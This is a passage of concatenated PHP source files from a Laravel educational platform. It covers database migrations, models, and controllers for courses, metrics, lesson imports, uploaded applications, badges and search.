<file_sep>/database/migrations/2019_08_08_111945_create_interacao_conteudo_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateInteracaoConteudoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('interacao_conteudo', function(Blueprint $table) { $table->integer('id', true); $table->integer('conteudo_id'); $table->integer('user_id'); $table->integer('tipo'); $table->timestamp('inicio')->default(DB::raw('CURRENT_TIMESTAMP')); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('interacao_conteudo'); } } <file_sep>/app/Entities/Trilhas/Trilhas.php <?php namespace App\Entities\Trilhas; use App\Curso; use App\User; use Illuminate\Database\Eloquent\Model; class Trilhas extends Model { protected $table = "trilhas"; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'capa', 'descricao' ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } /*public function cursos() { return $this->hasMany(TrilhasCurso::class, 'trilha_id'); }*/ public function cursos() { return $this->belongsToMany(Curso::class, 'trilhas_cursos', 'trilha_id'); } } <file_sep>/app/Http/Controllers/MetricaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\User; use App\Turma; use App\AlunoTurma; use App\Metrica; class MetricaController extends Controller { public function getMetricas() { $metricas = Metrica::query(); // $metricas->when( Auth::user()->permissao == "Z", function ($q) { // return $q->where('likes', '>', request('likes_amount', 0)); // }); $metricas->when( Auth::user()->permissao == "G" || Auth::user()->permissao == "P", function ($q) { return $q->whereHas('user', function ($q) { $q->where('escola_id', Auth::user()->escola_id); }); }); $metricas = $metricas->pluck('titulo')->unique(); return response()->json(["success" => "Métricas listadas com sucesso.", "metricas" => $metricas]); } public function getMetrica($titulo, Request $request) { $request->metrica = $titulo; if($request->metrica == null || $request->metrica == "") { return response()->json(["error" => "Métrica não especificada."]); } if(Metrica::where([['titulo', $request->metrica]])->exists() == false) { return response()->json(["error" => "Métrica não encontrada."]); } // $request->startDateRange = "2018"; // $request->endDateRange = "2018-11-30"; if($request->startDateRange != null && $request->startDateRange != "") { if($this->validateDate($request->startDateRange, "Y") == false && $this->validateDate($request->startDateRange, "Y-m") == false && $this->validateDate($request->startDateRange, "Y-m-d") == false) { unset($request->startDateRange); } } if($request->endDateRange != null && $request->endDateRange != "") { if($this->validateDate($request->endDateRange, "Y") == false && $this->validateDate($request->endDateRange, "Y-m") == false && $this->validateDate($request->endDateRange, "Y-m-d") == false) { unset($request->endDateRange); } } $metrica = Metrica::query(); $metrica = $metrica->where('titulo', '=', $request->metrica); $metrica->when( isset($request->startDateRange), function ($q) use ($request) { return $q->where([['created_at', '>=', $request->startDateRange]]); }); $metrica->when( isset($request->endDateRange), function ($q) use ($request) { return $q->where([['created_at', '<=', $request->endDateRange]]); }); $metrica->when( Auth::user()->permissao == "Z" && ($request->has('escola') ? $request->escola != null : false), function ($q) use ($request) { return $q->whereHas('user', function ($q2) use ($request) { $q2->where('escola_id', '=', $request->escola); }); }); $metrica->when( $request->has('turma') ? $request->turma != null : false, function ($q) use ($request) { return $q->whereHas('aluno_turma', function ($q2) use ($request) { $q2->where('turma_id', '=', $request->turma); }); }); $metrica->when( $request->has('aluno') ? $request->aluno != null : false, function ($q) use ($request) { // echo $request->aluno; die(); return $q->whereHas('user', function ($q2) use ($request) { $q2->where('user_id', '=', $request->aluno); }); }); $metrica = $metrica->whereHas('user', function ($q) { $q->where('escola_id', Auth::user()->escola_id); }) ->orderBy('created_at', 'asc') ->get(['created_at']) ->groupBy( function ($item) { return Carbon::parse($item->created_at)->format('d/m/Y'); }); foreach ($metrica as $key => $item) { $metrica[$key] = count($item); } return response()->json(["success" => "Métrica listada com sucesso.", "metrica" => $metrica]); } private function validateDate($date, $format = 'Y-m-d') { $d = \DateTime::createFromFormat($format, $date); // The Y ( 4 digits year ) returns TRUE for any integer with any number of digits so changing the comparison from == to === fixes the issue. return $d && $d->format($format) === $date; } } <file_sep>/app/Http/Controllers/Importacao/AulaController.php <?php namespace App\Http\Controllers\Importacao; use App\Aula; use App\Conteudo; use App\ConteudoAula; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Redirect; class AulaController extends ImportacaoController { public function aula($idCurso, $idAula, Request $request) { if($request->hasFile('fileImportAula')) { if($request->file('fileImportAula')->getClientOriginalExtension() != 'tz') { return Redirect::back()->withErrors(['Arquivo de importação inválido!']); } $userId = Auth::user()->id; $fileContent = file_get_contents($request->file('fileImportAula')->getPathName()); $decodeAsArray = json_decode($fileContent, true); $myArr = $decodeAsArray; /* IMPORTA AULA */ $arrAula = (isset($myArr['aula'])) ? $myArr['aula'] : false; if(!$arrAula) { return Redirect::back()->withErrors(['Arquivo de importação não é do tipo aula!']); } unset($arrAula['conteudos']); //Adiciona Aula $aula = new Aula(); $aula->curso_id = $idCurso; $aula->user_id = $userId; $aula->forceFill($arrAula); $aula->save(); $insertedAulaId = $aula->id; /* */ /* IMPORTA CONTEUDOS DA AULA */ $arrConteudosAula = $myArr['aula']['conteudos']; foreach($arrConteudosAula as $conteudoAula) { //Adiciona Conteúdo $conteudo = new Conteudo(); $conteudo->user_id = $userId; $conteudo->forceFill($conteudoAula); $conteudo->save(); $insertedConteudoId = $conteudo->id; //Adiciona Relacionamento do Conteúdo com o Curso/Aula $conteudoAula = new ConteudoAula(); $conteudoAula->ordem = 999; $conteudoAula->conteudo_id = $insertedConteudoId; $conteudoAula->curso_id = $idCurso; $conteudoAula->aula_id = $insertedAulaId; $conteudoAula->user_id = $userId; $conteudoAula->obrigatorio = 1; $conteudoAula->save(); $insertedConteudoAulaId = $conteudo->id; } /* */ return Redirect::back()->with('message', 'Aula importada com sucesso!'); } else { return Redirect::back()->withErrors(['Arquivo de importação não existe!']); } } }<file_sep>/app/Http/Controllers/AplicacaoController.php <?php namespace App\Http\Controllers; use App\Entities\Historico\Historico; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Aplicacao; use App\LiberacaoAplicacao; use App\Conteudo; use App\Categoria; use App\AlunoTurma; use App\Turma; use App\Metrica; use App\ProgressoConteudo; class AplicacaoController extends Controller { public function index($idAplicacao) { $aplicacao = Aplicacao::find($idAplicacao); if ($aplicacao == null) { \Session::flash('warning', 'Aplicação não encontrada.'); return redirect()->route('catalogo'); } if (!\Storage::disk('public_uploads')->has('aplicacoes/' . $aplicacao->id) || ($aplicacao->status == 0 && Auth::user()->permissao != "Z")) { \Session::flash('warning', 'Aplicação não encontrada.'); return redirect()->route('catalogo'); } // Histórico if (Historico::where([ ['user_id', Auth::user()->id], ['referencia_id', $idAplicacao], ['tipo', 1], ['created_at', '>', (Carbon::now()->subMinutes(15))]]) ->exists() == false) { Historico::create([ 'user_id' => Auth::user()->id, 'referencia_id' => $idAplicacao, 'tipo' => 1 ]); } if (Metrica::where([ ['user_id', Auth::user()->id], ['titulo', 'Jogar aplicação - ' . $aplicacao->id], ['created_at', '>', (Carbon::now()->subMinutes(15))]]) ->exists() == false) { Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Jogar aplicação - ' . $aplicacao->id ]); } if (!ProgressoConteudo::where([['conteudo_id', '=', $idAplicacao], ['tipo', '=', 1], ['user_id', '=', Auth::user()->id]])->exists()) { ProgressoConteudo::create([ 'conteudo_id' => $idAplicacao, 'tipo' => 1, 'user_id' => Auth::user()->id ]); } return view('play.aplicacao')->with(compact('aplicacao')); } public function ultimaAplicacao() { if (Metrica::where([['user_id', '=', Auth::user()->id], ['titulo', 'like', 'Jogar aplicação%']])->first() != null) { $idUltimaAplicacao = str_replace('Jogar aplicação - ', "", Metrica::where([['user_id', '=', Auth::user()->id], ['titulo', 'like', 'Jogar aplicação - %']])->first()->titulo); return redirect()->route('aplicacao', ['idAplicacao' => $idUltimaAplicacao]); } else { \Session::flash('error', 'Você não acessou nenhum aplicação recentemente.'); return redirect()->route('catalogo'); } } public function gestaoAplicacoes() { $aplicacoes = Aplicacao::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $aplicacoes = Aplicacao::when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }) ->get(); $categorias = Categoria::all(); return view('gestao.aplicacoes')->with(compact('aplicacoes', 'categorias')); } public function postCriarAplicacao(Request $request) { // dd($request); if ($request->descricao == null) { $request->descricao = ""; } if ($request->arquivo == null) { return redirect()->back()->withErrors("Arquivo não encontrado, por favor envie um zip válido!"); } if ($request->data_lancamento != null) { if(date("Y-m-d H:i", strtotime($request->data_lancamento)) == str_replace("T", " ", $request->data_lancamento)) { if(date("Y-m-d H:i") < date("Y-m-d H:i", strtotime($request->data_lancamento))) { $request->data_lancamento = date("Y-m-d H:i:s", strtotime(str_replace("T", " ", $request->data_lancamento))); // dd($request->data_lancamento); } else { return redirect()->back()->withErrors("Data de lançamento inválida, você deve preencher uma data e hora que ainda não passaram!"); } } else { return redirect()->back()->withErrors("Data de lançamento inválida, você deve preencher uma data e hora!"); } } if($request->marcadores != null) { $request->marcadores = explode(";", $request->marcadores); } $aplicacao = Aplicacao::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'status' => $request->status, 'liberada' => $request->liberada, 'data_lancamento' => $request->data_lancamento, 'destaque' => isset($request->destaque) ? true : false, 'categoria_id' => $request->categoria, 'nivel_ensino' => $request->nivel_ensino, 'ano_serie' => $request->ano_serie, 'tags' => $request->marcadores, ]); $logFiles = \Zipper::make($request->arquivo)->listFiles(); // dd($logFiles); \Zipper::make($request->arquivo)->extractTo(public_path('uploads') . '/aplicacoes/' . $aplicacao->id . '/'); if (!\Storage::disk('public_uploads')->has('aplicacoes/' . $aplicacao->id)) { $aplicacao->delete(); return redirect()->back()->withErrors("Não foi possível extrair o conteúdo do zip, por favor envie sua aplicação novamente!"); } // dd($result); if ($request->capa != null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5($request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('aplicacoes/capas', $newFileNameCapa, 'public_uploads'); if (!\Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa))) { \Session::flash('error', 'Ops! Não foi possivel enviar a capa.'); } else { $aplicacao->capa = $newFileNameCapa; $aplicacao->save(); } } Session::flash("message", 'Aplicação criada com sucesso!'); return redirect()->back(); //return redirect()->route('gestao.escola'); } public function getAplicacao($idAplicacao) { if (Aplicacao::find($idAplicacao) != null) { return response()->json(['success' => 'Aplicação encontrada.', 'aplicacao' => Aplicacao::find($idAplicacao)]); } else { return response()->json(['error' => 'Aplicação não encontrada!']); } return redirect()->back(); } public function postSalvarAplicacao(Request $request) { if ($request->descricao == null) { $request->descricao = ""; } if($request->marcadores != null) { $request->marcadores = explode(";", $request->marcadores); } // dd($request); if (Aplicacao::find($request->idAplicacao) != null) { $aplicacao = Aplicacao::find($request->idAplicacao); if ($request->data_lancamento != null ? ($aplicacao->data_lancamento != date("Y-m-d H:i", strtotime($request->data_lancamento))) : false) { if(date("Y-m-d H:i", strtotime($request->data_lancamento)) == str_replace("T", " ", $request->data_lancamento)) { if(date("Y-m-d H:i") < date("Y-m-d H:i", strtotime($request->data_lancamento))) { $request->data_lancamento = date("Y-m-d H:i:s", strtotime(str_replace("T", " ", $request->data_lancamento))); // dd($request->data_lancamento); } else { return redirect()->back()->withErrors("Data de lançamento inválida, você deve preencher uma data e hora que ainda não passaram!"); } } else { return redirect()->back()->withErrors("Data de lançamento inválida, você deve preencher uma data e hora!"); } } $aplicacao->update([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'status' => $request->status, 'liberada' => $request->liberada, 'data_lancamento' => $aplicacao->data_lancamento != date("Y-m-d H:i", strtotime($request->data_lancamento)) ? $request->data_lancamento : $aplicacao->data_lancamento, 'destaque' => isset($request->destaque) ? true : false, 'categoria_id' => $request->categoria, 'nivel_ensino' => $request->nivel_ensino, 'ano_serie' => $request->ano_serie, 'tags' => $request->marcadores ]); if ($request->capa != null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5($request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('aplicacoes/capas', $newFileNameCapa, 'public_uploads'); if (!\Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa))) { \Session::flash('error', 'Ops! Não foi possivel enviar a capa.'); } else { if (\Storage::disk('public_uploads')->has('aplicacoes/capas/' . $aplicacao->capa)) { \Storage::disk('public_uploads')->delete('aplicacoes/capas/' . $aplicacao->capa); } $aplicacao->capa = $newFileNameCapa; $aplicacao->save(); } } if ($request->arquivo != null) { $logFiles = \Zipper::make($request->arquivo)->listFiles(); \Zipper::make($request->arquivo)->extractTo(public_path('uploads') . '/aplicacoes/' . $aplicacao->id . '/'); if (!\Storage::disk('public_uploads')->has('aplicacoes/' . $aplicacao->id)) { return redirect()->back()->withErrors("Não foi possível extrair o conteúdo do zip, por favor atualize sua aplicação novamente!"); } } // return response()->json(['success' => 'Aplicação atualizada com sucesso!']); Session::flash("message", 'Aplicação atualizada com sucesso!'); return redirect()->back(); } else { // return response()->json(['error' => 'Aplicação não encontrada!']); Session::flash("error", 'Aplicação não encontrada!'); return redirect()->back(); } } public function postExcluirAplicacao($idAplicacao) { if (Aplicacao::find($idAplicacao) != null) { if (\Storage::disk('public_uploads')->has('aplicacoes/capas/' . Aplicacao::find($idAplicacao)->capa)) { \Storage::disk('public_uploads')->delete('aplicacoes/capas/' . Aplicacao::find($idAplicacao)->capa); } if (\Storage::disk('public_uploads')->has('aplicacoes/' . Aplicacao::find($idAplicacao)->id)) { \Storage::disk('public_uploads')->deleteDirectory('aplicacoes/' . Aplicacao::find($idAplicacao)->id); } Aplicacao::find($idAplicacao)->delete(); return response()->json(["success" => "Aplicação excluída com sucesso!"]); } else { return response()->json(["error" => "Aplicação não encontrada!"]); } } public function postLiberacaoAplicacao($idTurma, Request $request) { if (Turma::find($idTurma) != null) { if (Aplicacao::find($request->idAplicacao) != null) { $alunos = json_decode($request->alunos); if ($alunos == null) { // return redirect()->back()->withErrors("Você deve selecionar ao menos um aluno!"); $alunos = []; } // if(count($alunos) == 0) // { // return redirect()->back()->withErrors("Você deve selecionar ao menos um aluno!"); // } if ($request->quais == "nenhum") { LiberacaoAplicacao::where([['aplicacao_id', '=', $request->idAplicacao]])->whereNotIn('user_id', $alunos)->delete(); foreach ($alunos as $aluno) { if (!LiberacaoAplicacao::where([['aplicacao_id', '=', $request->idAplicacao], ['user_id', '=', $aluno]])->exists()) { LiberacaoAplicacao::create([ 'aplicacao_id' => $request->idAplicacao, 'user_id' => $aluno ]); } } } else { LiberacaoAplicacao::where([['aplicacao_id', '=', $request->idAplicacao]])->whereIn('user_id', $alunos)->delete(); foreach (AlunoTurma::where([['turma_id', '=', $idTurma]])->whereNotIn('user_id', $alunos)->get() as $aluno) { if (!LiberacaoAplicacao::where([['aplicacao_id', '=', $request->idAplicacao], ['user_id', '=', $aluno->user_id]])->exists()) { LiberacaoAplicacao::create([ 'aplicacao_id' => $request->idAplicacao, 'user_id' => $aluno->user_id ]); } } } Session::flash("message", 'Aplicação liberada com sucesso para ' . count($alunos) . ' aluno' . (count($alunos) != 1 ? 's' : '') . '!'); return redirect()->back(); } else { return redirect()->back()->withErrors("Aplicação não encontrada!"); } } else { return redirect()->back()->withErrors("Turma não encontrada!"); } } } <file_sep>/app/Entities/Album/Album.php <?php namespace App\Entities\Album; use App\Entities\Audio\Audio; use App\User; use Illuminate\Database\Eloquent\Model; class Album extends Model { protected $table = "albums"; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'capa', 'descricao', 'categoria' ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function categoria() { return $this->belongsTo('App\Categoria', 'categoria'); } public function audios() { return $this->belongsToMany(Audio::class, 'album_audios', 'album_id'); } public function getUrlAttribute() { $path = env("APP_URL") . '/uploads/albuns/capas/app/' . $this->attributes['url']; return $path; } public function getArtistAttribute() { $user = User::where('id', $this->attributes['artist'])->select('name')->first(); return $user->name; } public function getCreatedAtAttribute($date) { return ucfirst(\Carbon\Carbon::createFromFormat('Y-m-d H:i:s', $date)->diffForHumans()); } } <file_sep>/app/Entities/MarcadorPagina/MarcadorPagina.php <?php namespace App\Entities\MarcadorPagina; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class MarcadorPagina extends Model { protected $table = 'marcador_pagina'; //Preenchiveis protected $fillable = [ 'id', 'conteudo_id', 'user_id', 'pagina', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function conteudo() { return $this->belongsTo('App\Conteudo', 'conteudo_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Http/Controllers/Busca/Api/BuscaApiController.php <?php namespace App\Http\Controllers\Busca\Api; use App\Entities\Album\Album; use App\Entities\Playlist\Playlist; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class BuscaApiController extends Controller { public function listar(Request $request) { try { if ($request->get('text') != '') { $albums = Album::orderBy('id', 'DESC') ->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->where('titulo', 'LIKE', '%' . $request->get('text') . '%') /*->with(['audios' => function ($query) { $query->select('audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }])*/ ->get(); $playlists = Playlist::orderBy('id', 'DESC') ->where([['user_id', Auth::user()->id], ['titulo', 'LIKE', '%' . $request->get('text') . '%']]) ->select('playlists.id', 'playlists.user_id', 'playlists.user_id as artist', 'playlists.titulo', 'playlists.created_at') /*->with(['audios' => function ($query) { $query->select('audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao'); }])*/ ->get(); $artists = User::orderBy('name', 'ASC') ->select('users.id', 'users.name') ->where('name', 'LIKE', '%' . $request->get('text') . '%') ->with(['albuns' => function ($query) { $query->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id'); }]) ->has('albuns') ->get(); $artistsAlbuns = []; foreach ($artists as $artist) { $artistsAlbuns = $artist->albuns; } return response()->json([ 'albums' => ($albums->count() > 0 ? $albums : false), 'playlists' => ($playlists->count() > 0 ? $playlists : false), 'artists' => (empty($artistsAlbuns) ? false : $artistsAlbuns) ]); } return null; } catch (\Exception $exception) { return response()->json(["error" => "Erro ao buscar.", "message:" => $exception->getMessage()]); } } } <file_sep>/app/Http/Controllers/Badges/Alunos/BadgesController.php <?php namespace App\Http\Controllers\Badges\Alunos; use App\Badge; use App\BadgeUsuario; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class BadgesController extends Controller { public function recompensas() { $badges = Badge::where([['visibilidade', '=', '1']])->get(); foreach (BadgeUsuario::with('badge')->whereHas('badge')->where('user_id', '=', Auth::user()->id)->get() as $minha) { $tem_badge = $badges->contains(function ($value, $key) use ($minha) { if($minha->badge != null) { return $value->id == $minha->badge->id; } else { return null; } }); if ($tem_badge) { $badges->first(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })->desbloqueada = true; } else { $minha = $minha->badge; $minha->desbloqueada = true; $badges->push($minha); } } return view('pages.badges.alunos.recompensas')->with(compact('badges')); } public function desafios() { return view('pages.badges.alunos.desafios-concluidos'); } public function conquistas() { $badges = Badge::where([['visibilidade', '=', '1']])->get(); foreach (BadgeUsuario::with('badge')->whereHas('badge')->where('user_id', '=', Auth::user()->id)->get() as $minha) { if ($badges->contains(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })) { $badges->first(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })->desbloqueada = true; } else { $minha = $minha->badge; $minha->desbloqueada = true; $badges->push($minha); } } return view('pages.badges.alunos.conquistas')->with(compact('badges')); } } <file_sep>/app/ConteudoAula.php <?php namespace App; use App\Entities\Favorito\Favorito; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; use Carbon\Carbon; class ConteudoAula extends Model { protected $table = 'conteudo_aula'; //Preenchiveis protected $fillable = [ 'id', 'ordem', 'curso_id', 'aula_id', 'conteudo_id', 'user_id', 'obrigatorio', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function conteudo() { return $this->belongsTo('App\Conteudo', 'conteudo_id');//->where([['curso_id', '=', $this->curso_id], ['aula_id', '=', $this->aula_id]]); } public function progressos() { return $this->hasMany('App\ProgressoConteudo', 'conteudo_id')->where('tipo', '=', 2); } public function progressos_user() { return $this->hasMany('App\ProgressoConteudo', 'conteudo_id')->with('user')->where('tipo', '=', 2); } public function user() { return $this->belongsTo('App\User', 'user_id'); } public function favorito($idUser, $idRef) { return $this->hasOne(Favorito::class, 'referencia_id') ->where([['user_id', $idUser], ['referencia_id', $idRef], ['tipo', 2]])->first(); } } <file_sep>/app/Http/Controllers/Glossario/Admin/GlossarioController.php <?php namespace App\Http\Controllers\Glossario\Admin; use Illuminate\Support\Facades\Input; use App\Entities\Glossario\Repository; use App\Http\Requests\Glossario\Create; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Entities\Glossario\Glossario; class GlossarioController extends Controller { private $repository; public function __construct(Repository $repository) { $this->repository = $repository; } public function create($word) { $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; if($tem_pesquisa) { $glossarios = $this->repository->search(Input::get('pesquisa')); // $word = strtoupper(substr(Input::get('pesquisa'), 0, 1)); $word = null; } else { $glossarios = $this->repository->all($word); } return view('pages.glossario.admin.create')->with( compact('glossarios', 'word') ); } public function delete(Request $request) { if(Glossario::find($request->idGlossario) != null) { Glossario::find($request->idGlossario)->delete(); return redirect()->route('gestao.glossario.index')->with('success', 'Registro removido com sucesso!'); } else { return redirect()->route('gestao.glossario.index')->with('error', 'Registro não encontrado!'); } } public function store(Create $request) { $values = $request->all(); $values['key'] = strtoupper(substr($request->get('word'), 0, 1)); $this->repository->store($values); return redirect()->route('gestao.glossario', ['word' => $values['key']])->with('success', 'Registro adicionado com sucesso!'); } } <file_sep>/app/Badge.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Badge extends Model { //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', 'visibilidade', 'icone' ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'visibilidade' => 1, ]; public function user() { return $this->belongsTo('App\User', 'user_id'); } public function minhas() { return $this; } } <file_sep>/app/CodigoTransmissao.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class CodigoTransmissao extends Model { protected $table = 'codigo_transmissao'; //Preenchiveis protected $fillable = [ 'user_id', 'token', 'referencia_id', 'tipo', 'status', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ // 'tipo' => 1, 'status' => 1, ]; public function aplicacao() { return $this->belongsTo('App\Aplicacao', 'referencia_id'); } public function conteudo() { return $this->belongsTo('App\Conteudo', 'referencia_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Notificacao.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Notificacao extends Model { protected $table = 'notificacoes'; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', 'tipo', 'link', 'lida', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'tipo' => 2, 'link' => '', 'lida' => 0, ]; public function user() { return $this->belongsTo('App\User'); } } <file_sep>/database/migrations/2019_08_08_111945_create_comentarios_conteudo_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateComentariosConteudoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('comentarios_conteudo', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->integer('curso_id'); $table->integer('aula_id'); $table->integer('conteudo_id'); $table->text('comentario'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('comentarios_conteudo'); } } <file_sep>/app/Entities/GradeAula/GradeAula.php <?php namespace App\Entities\GradeAula; use App\Entities\PlanoAula\PlanoAula; use App\User; use Illuminate\Database\Eloquent\Model; class GradeAula extends Model { protected $table = "grade_aulas"; //Preenchiveis protected $fillable = [ 'user_id', 'turma_id', 'titulo', 'descricao', 'data', 'data_inicial', 'hora_inicial', 'data_final', 'hora_final', 'recorrente', 'dia', 'cor', ]; public function professor() { return $this->belongsTo(User::class, 'user_id'); } public function planos() { return $this->hasMany(PlanoAula::class, 'grade_aula_id'); } } <file_sep>/database/migrations/selected/2019_08_08_111945_create_endereco_user_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateEnderecoUserTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('endereco_user', function(Blueprint $table) { $table->integer('user_id')->primary(); $table->string('cep', 9)->nullable(); $table->string('uf', 2)->nullable(); $table->string('cidade', 100)->nullable(); $table->string('bairro', 100)->nullable(); $table->string('logradouro')->nullable(); $table->string('numero')->nullable(); $table->string('complemento')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('endereco_user'); } } <file_sep>/app/Entities/Historico/Historico.php <?php namespace App\Entities\Historico; use App\Conteudo; use Carbon\Carbon; use Illuminate\Database\Eloquent\Model; class Historico extends Model { protected $table = "historicos"; //Preenchiveis protected $fillable = [ 'user_id', 'referencia_id', 'tipo', ]; public function conteudo() { return $this->belongsTo(Conteudo::class, 'referencia_id'); } } <file_sep>/app/Http/Controllers/CursoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; // use Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Categoria; use App\Curso; use App\Aula; use App\Conteudo; use App\ConteudoAula; use App\AvaliacaoCurso; use App\AvaliacaoInstrutor; use App\AvaliacaoEscola; use App\Matricula; use App\Metrica; use App\AvaliacaoConteudo; use App\ComentarioConteudo; use App\Notificacao; use App\ConteudoCompleto; use App\CursoCompleto; use App\Transacao; use App\ProdutoTransacao; use App\MensagemTransmissao; use App\BadgeUsuario; class CursoController extends Controller { public function index($idCurso) { if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user', 'topicos')->where([['id', '=', $idCurso]])->first(); // $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->where([['escola_id', '=', $escola->id], ['id', '=', $idCurso]])->first(); } } else { // Verificação comentada, apenas usada se o titulo for codificado com traços ao inves de espaços // if(Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first() != null) if(Curso::where('titulo', '=', $idCurso)->first() != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user', 'topicos')->where([['escola_id', '=', $escola->id], ['titulo', '=', $idCurso]])->first(); } elseif(is_numeric( substr(strrchr($idCurso, "-"), 1) )) { if(Curso::find(substr(strrchr($idCurso, "-"), 1)) != null) { $temp = Curso::find(substr(strrchr($idCurso, "-"), 1)); $tempTitulo = mb_strtolower($temp->titulo . '-' . $temp->id, 'utf-8'); if($tempTitulo == $idCurso) { $curso = Curso::find(substr(strrchr($idCurso, "-"), 1)); } } } } // dd(count(array_filter(Session::get('carrinho'), function($k) use ($curso) { return ($k->tipo == 2 && $k->id == $curso->id); }))); if(isset($curso) ? ($curso == null) : (true)) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } if($curso->status != 1) { if(Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $curso->user_id != Auth::user()->id) : true) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } else { Session::flash('previewMode', true); } } if($curso->senha != "" && $curso->senha != null) { if(Session::has('senhaCurso'. $curso->id)) { if(Session::get('senhaCurso'. $curso->id) != $curso->senha) { Session::forget('senhaCurso'. $curso->id); return Redirect::back()->withErrors(['Senha do curso inválida!']); } } else { // if($curso->escola_id != 1) // { // // return Redirect::route('curso.trancado', ['escola_id' => $curso->escola_id, 'idCurso' => $curso->id]); // } // else { return Redirect::route('curso.trancado', ['idCurso' => $curso->id]); } } } $curso->duracao = 0; foreach ($curso->aulas as $key => $aula) { // $aula->conteudos = Conteudo::where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->get(); $aula->conteudos = Conteudo:: with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); }) // ->orderBy('ordem', 'asc') ->get() ->sortBy('conteudo_aula.ordem'); $aula->conteudos = Conteudo::detalhado($aula->conteudos); $aula->duracao = Conteudo:: whereHas('conteudo_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); }) ->sum('duracao'); if($aula->duracao == 0) { $aula->duracao = count($aula->conteudos) * 120; } $curso->duracao += $aula->duracao; if($aula->duracao > 60) { $horas = 